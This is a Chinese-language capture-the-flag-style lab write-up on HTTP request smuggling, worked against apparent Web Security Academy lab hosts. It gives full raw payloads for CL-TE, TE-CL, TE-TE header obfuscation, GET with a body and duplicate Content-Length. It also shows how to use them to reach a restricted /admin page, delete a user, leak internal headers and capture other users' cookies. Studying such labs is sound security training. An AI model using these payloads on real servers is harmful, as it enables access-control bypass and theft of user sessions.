[TOC]
一、 简介
HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。这样一来,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了了安全风险。
……
二、 利用方式
须备知识: Content-Length -> CL Transfer-Encoding -> TE chunk传输格式
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
格式要求严格 注意换行符
① CL - TE 漏洞
前端服务器使用Content-Length头,而后端服务器使用Transfer-Encoding头
POST / HTTP/1.1
Host: aceb1ff51ec64b5b8090419800000073.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=KHg6LNttXio2EIiNzjy0dsbYscTforYB
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 26
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
前端服务器为CL处理 ,认为整段内容均为一个报文内容,后端处理为TE,后端认为绿色为报文结束位置,蓝色部分放入缓存区等待下个报文到达
使用差异响应确认CL.TE漏洞。
第一次请求到0结束,剩余部分放入缓冲区
第二次,读取剩余部分 和 新来的请求,先读取剩余部分,是一个请求然后响应
② TE - CL 漏洞
前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。
POST / HTTP/1.1
Host: ac4b1f891fa1531d80516da400ca002c.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=zlXgB84FuqKwXqWVOecIiUmKcWJRRQxj
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Content-length: 4
Transfer-Encoding: chunked
13
GET /404 HTTP/1.1
0
0后面有两个 \r\n 前端认为TE有效,红色与绿色都是有效部分,然后发往后端, 后端认为CL有效 ,红色为CL控制部分, 因此后端只处理了红色部分,绿色部分存在缓冲区内等待下一个请求到来
效果如下,通过差异响应确认TE.CL漏洞
③ TE - TE
前后端服务器都处理Transfer-Encoding请求头,通过对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头,这样就变成了TE-CL 或者 CL-TE
常见的混淆方式
1. Transfer-Encoding: xchunked
2. Transfer-Encoding : chunked
3. Transfer-Encoding: chunked
Transfer-Encoding: x
4. Transfer-Encoding:[tab]chunked
5. [space]Transfer-Encoding: chunked
6. X: X[\n]Transfer-Encoding: chunked
7. Transfer-Encoding
: chunked
加入混淆之后分别测试CL-TE 或者 TE-CL,练习题目结果为TE-CL (0后又两个 \r\n)
POST / HTTP/1.1
Host: acce1fc51f4411fa8055383700eb0044.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=jxTeA2pWMHwoGLQ1tGyqFdysC4TD4whw
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: x
13
GET /404 HTTP/1.1
0
加入混淆之后 前端正常识别TE 而后端成为只识别CL ,发三次包,分别呈现不同的状态,具体皆可用上述理论解释
第一次发包 后端按照CL 截取红色部分,剩余部分放入缓存
第二次发包 “GET /404 HTTP/1.1” 被读入并响应,剩余的0存入缓存
第三次发包 0 与正常的POST 请求拼接成 0POST 然后响应
④ CL不为0的GET请求
假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。
一般强行加入CL 向应如下
“GET requests cannot contain a body” 不允许有body
构造如下
GET / HTTP/1.1
Host: example.com
Content-Length: 44
GET /secret HTTP/1.1
Host: example.com
就可以得到 /secret 的响应
⑤ CL - CL
某些特殊情况下 服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。 构造如下
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
三、 应用场景
① 绕过前端安全控制
/admin 页面被前端服务器限制访问,通过走私访问admin 页面,并删除某用户
(1)TE - CL
正常访问
一次访问正常
二次访问到admin 页面 但是提示host 为 localhost
添加host 后访问 删除连接为/admin/delete?username=..
最终被删除
(2) CL - TE
CL -TE 比TE-CL 更简单因为不需要控制chunked 长度,因为与上述步骤相同,就不多说了
② 通过走私 获取下一个请求信息
这里是 CL - TE 型的 题目任务:前端服务器会自动添加一个 X-*-IP 的头部,发往后端,后端识别这个IP头 若为127.0.0.1 则认为管理员。
因此第一步想办法获取 前端服务器添加的头的名称 这里有个文章查询功能,会返回查询的文章名称,因此只要让后面的请求被当作查询的内容即可
POST / HTTP/1.1
Host: ac831f9e1e251ebf805182b800b1008c.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=nTgpaEvMz10RNBQC1n6HCeZ7qXYzHaQQ
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 125
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 200
search=123
走私一个post 请求 ,该请求的Content-Length字段决定了泄露的后一个请求的长度(Content-Length:n 会把往后的n位当成post的数据,直接把后面的包当成了post数据)
用获取的头访问/admin
③ 获取其他用户的请求
TE - CL 型 该环境目的是通过走私获取 下一个用户请求的信息,即cookie,然后利用走私来的cookie登入
这里有个评论功能,提交的数据会返回到页面, 利用上面的例子方法,进行走私
构造如下进行多次发包
POST /post/comment HTTP/1.1
Host: ac401fba1ebf0838808f3c7600ad009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Origin: https://ac401fba1ebf0838808f3c7600ad009e.web-security-academy.net
Connection: close
Referer: https://ac401fba1ebf0838808f3c7600ad009e.web-security-academy.net/post?postId=3
Cookie: session=0QbBFOfss9z1RvzNq4lzfTwBdl3yHgWv
Upgrade-Insecure-Requests: 1
Content-Length: 283
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=0QbBFOfss9z1RvzNq4lzfTwBdl3yHgWv
Content-Length: 1200
csrf=skD7lQaAMCHN0JZD38aa8FzazTiXadi8&postId=3&comment=123&name=abbbccc&email=test%40qq.com&website=http%3A%2F%2Fdiego.com
查看留言的邮箱
返回了下一个请求的信息(这里的cookie 还是我的,尝试了很多次没有抓取到系统提供的请求)
④ 进行 XSS
待续